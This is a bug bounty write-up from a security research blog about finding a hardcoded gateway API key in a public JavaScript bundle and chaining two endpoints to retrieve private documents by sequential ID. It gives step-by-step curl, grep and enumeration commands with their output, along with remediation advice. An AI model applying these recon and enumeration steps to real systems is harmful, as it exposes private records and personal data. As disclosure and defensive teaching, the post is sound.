← PONEGLYPH SECURITYOur Research
July 28, 2026  ·  Web  ·  API keys  ·  Broken access control

Forty Characters to Thirty Thousand Documents

Redaction notice The vendor, hostnames, storage prefixes and key material in this post are redacted. The issue was reported through the vendor’s public bug bounty programme, rated Critical, fixed, and rewarded at $5,000. Every credential-looking string below is a placeholder with the same shape as the real one — the shape is the interesting part. This post is about the pattern, not the target.

The best bug I have found on a Fortune-50 retailer was not a clever parser trick or a race condition. It was a forty-character hex string sitting in plain sight inside a minified React bundle, and an API gateway that treated possession of that string as the entire security model.

One key. Two endpoints. Roughly thirty thousand internal documents — financial records, PII, mailing dumps — served over plain HTTPS to anyone who had read the JavaScript.

What makes this worth writing up eighteen months later is not the severity. It is that the same shape has now paid me six times on the same programme, and I keep finding it everywhere else. This is a walkthrough of the kill chain and, more usefully, of why the architecture makes it inevitable.

0. The architecture that sets the trap

The target runs the pattern that every large retailer converged on somewhere around 2016:

That third bullet is the whole bug. A static key passed in a query string cannot be kept secret from the browser that has to send it. So it ships in the bundle. Every one of these apps ships its key in the bundle. The gateway knows the key is valid; it does not know, and never asks, who is holding it.

The key answers “is this a known application?” Nobody ever wired up the layer that answers “is this user allowed to see this object?”

Once you internalise that, recon stops being a search for vulnerabilities and becomes a search for subdomains with a main.*.js.

1. Recon: grep the bundle, not the app

The app in question was an internal document-management portal. Call it docstore.<vendor>.com. The login page is a hard wall — SSO, no self-registration, nothing to attack. Irrelevant. The SPA shell and its JavaScript are served before authentication, because they have to be: the bundle is what renders the login form.

So you never touch the login page. You pull the asset manifest and read the code.

# 1. the SPA shell names its own bundles
curl -s https://docstore.<vendor>.com/ \
  | grep -oE '/static/js/[a-zA-Z0-9._-]+\.js'

/static/js/runtime-main.8f3c21a9.js
/static/js/2.b17d9e04.chunk.js
/static/js/main.daeb4ca1.chunk.js

# 2. pull them all
for f in runtime-main.8f3c21a9 2.b17d9e04.chunk main.daeb4ca1.chunk; do
  curl -sO "https://docstore.<vendor>.com/static/js/${f}.js"
done

Now the part that actually matters. This gateway’s keys are SHA-1-shaped: exactly forty lowercase hex characters. That is a brutally greppable primitive.

# 40-hex, word-bounded, with 60 chars of surrounding context
grep -oE '.{0,60}\b[a-f0-9]{40}\b.{0,60}' main.daeb4ca1.chunk.js

...t.defaults.baseURL="https://api.<vendor>.com",n.key=
"a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73",e.exports=...

There it is. Assigned to n.key, right next to the gateway base URL, in the same expression. Not obfuscated, not in an env var resolved at runtime, not behind a token exchange. Just there, in the bundle, served unauthenticated to the public Internet.

Worth saying plainly, because it is the single most common way people burn a report:

A regex match is not a finding Forty hex characters could be a build hash, a Sentry release ID, a git SHA, a cache-buster, or a genuinely public tenant identifier. You have found a candidate. You have not found a vulnerability until an authenticated call returns data you were not supposed to see. Everything up to that point is grep.

2. Proving the key is live

The same bundle that leaks the key also documents the API. Minified JavaScript still contains every route the app can call, as string literals. Pull them out:

grep -oE '"/[a-zA-Z0-9/_.-]{4,}"' main.daeb4ca1.chunk.js | sort -u

"/get/metadata"
"/rdmapi/v1/file"
"/rdmapi/v1/folders"
"/rdmapi/v1/search"
...

Two of those turned out to be the entire chain. The first, /get/metadata, takes a numeric id and returns a descriptor for a stored document:

curl -s "https://docstore.<vendor>.com/get/metadata\
?id=31999\
&key=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73\
&contentType=text/html"
{
  "id": 31999,
  "title": "<redacted> — Q3 vendor settlement",
  "fileName": "<prefix>publicdocsprod/3b8499cf-0529-445d-be82-d12c9e67bcdf.pdf",
  "contentType": "application/pdf",
  "createdBy": "<redacted>@<vendor>.com",
  "sizeBytes": 284117
}

HTTP 200. No session cookie. No bearer token. No SSO redirect. A raw curl from a residential IP with nothing but the string from the JavaScript file, and the gateway handed back a document descriptor including the internal owner’s corporate email address.

That is the moment the candidate becomes a finding. Everything after this is measuring the blast radius.

3. The pivot: metadata is an oracle, not a document

The metadata response does not contain the file. It contains a path. And the second endpoint takes that path as an attacker-supplied parameter:

curl -s "https://docstore.<vendor>.com/rdmapi/v1/file\
?fileName=<prefix>publicdocsprod/3b8499cf-0529-445d-be82-d12c9e67bcdf.pdf\
&key=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73" \
  -o out.pdf -w '%{http_code} %{content_type} %{size_download}\n'

200 application/pdf 284117

This is a two-stage design where each stage is individually defensible and the combination is fatal:

Note the storage prefix: <prefix>publicdocsprod. The word public is doing a spectacular amount of unearned work there. Somebody, at some point, decided this bucket held public documents, and every access-control decision downstream inherited that assumption. The contents were not public. They were vendor settlement statements.

4. Scaling: the integer is the whole ballgame

The id in stage one is a small sequential integer. I did not need a wordlist, a fuzzer, or a single guess at a GUID. I needed a for loop.

# bounded, rate-limited, metadata only — enough to establish
# the range and stop. no bulk file retrieval.
KEY=a3f9c1d4e07b62885fa1cc90de4471bb0e5d2c73

for id in $(seq 31990 32010); do
  code=$(curl -s -o /tmp/m.json -w '%{http_code}' \
    "https://docstore.<vendor>.com/get/metadata?id=${id}&key=${KEY}")
  echo "$id $code $(jq -r '.contentType // "-"' /tmp/m.json)"
  sleep 0.5
done

31990 200 application/pdf
31991 200 application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
31992 200 application/pdf
31993 200 message/rfc822
...

Dense, contiguous, no gaps. Walking the boundaries put the live range at north of thirty thousand objects. I sampled a handful across the range to characterise the corpus — enough to write an honest impact section — and stopped.

Scope discipline I did not mass-download. Nothing was retained on my machine after the report was written; that was stated explicitly in the submission. The bug is proven by the range being enumerable and the objects being retrievable, not by how many you personally pulled. Exfiltrating thirty thousand documents to prove you can exfiltrate thirty thousand documents is not research, it is the incident.

The corpus, characterised from the sample: financial and settlement records, documents containing personal information, and archived mail. Every one of them retrievable, unauthenticated, from anywhere on the Internet, by anyone who had run grep once.

5. Why this is not “just a leaked key”

Triage occasionally wants to file this class as “secret in source” — a hygiene issue, rotate and close. That framing undersells it, and the distinction is worth being able to articulate, because it is the difference between Medium and Critical.

A leaked secret is a bug when the secret was supposed to be secret. Here, the key cannot be secret. It is transmitted to every browser that loads the app, by design, as a query parameter, over an unauthenticated asset request. Rotating it produces a new key that is equally public within one deploy cycle.

So the real defect is not that the key leaked. It is:

LayerWhat it doesWhat is missing
Gateway key Identifies the calling application Nothing — working as designed
User session Should identify the calling human Never checked on these routes
Object authorisation Should answer “may this human read object N?” Does not exist

The application key was load-bearing for a decision it was never designed to make. That is an architecture finding, and it is why it landed as Critical rather than as a rotation ticket. Frame your report that way and triage will meet you there.

6. Remediation

In order of how much they actually buy you:

  1. Authorise the user, not the app. The gateway key establishes which service is calling. Object access needs a user identity — a session or a short-lived scoped token — and a per-object check against it. Nothing else on this list matters if this one is skipped.
  2. Never accept a storage path from the client. Stage two should take the document id and resolve the path server-side, after the authorisation check. Passing fileName in is what turned an ID-based leak into arbitrary retrieval from the prefix.
  3. Kill static keys in query strings. They land in browser history, proxy logs, referrer headers, CDN access logs, and error-reporting payloads. If a shared app credential must exist, it belongs in a header, and it belongs to a backend, not a bundle.
  4. Stop naming private buckets public. Half-serious. Names become assumptions, assumptions become access-control decisions, and nobody re-reads the name three services later.
  5. Break the sequence. Non-sequential identifiers are defence in depth, not a fix — but they turn a for loop into a real search problem and buy your detection stack time to notice.

Detection is cheap here, and worth wiring up regardless: one application key issuing tens of thousands of distinct object reads from a single non-corporate IP, with no accompanying session, is not a subtle signal. Nobody was watching for it.

7. Timeline

8. Takeaways

The pre-auth bundle is the attack surface. A login wall protects the API, not the JavaScript. The JavaScript is served to strangers by definition, and it contains every route the app knows how to call. Read it before you touch anything else.

Learn the target’s credential shape. This gateway used 40-hex. Others use sk_live_, AKIA, base64url JWTs, UUIDs. Once you know the shape, one grep -oE across every bundle on every subdomain turns recon into a batch job. The same forty-hex pattern has since produced five more accepted reports on this programme, and each one lived in a different app on a different subdomain.

Chain the endpoints you find in the same file. A metadata endpoint is boring. A file endpoint is boring. A metadata endpoint that emits the exact parameter a file endpoint consumes is a Critical. The bug lives in the seam between two components that each individually pass review.

Ask what the credential is actually deciding. Every time you find a shared application key, ask what question the server thinks it answers. If the answer is “which app is calling” but the server is using it to decide “may you read this object”, you have found a hole with an architecture-shaped edge — and those are the ones that pay.


Written by Poneglyph Security — cloud, identity and application security research.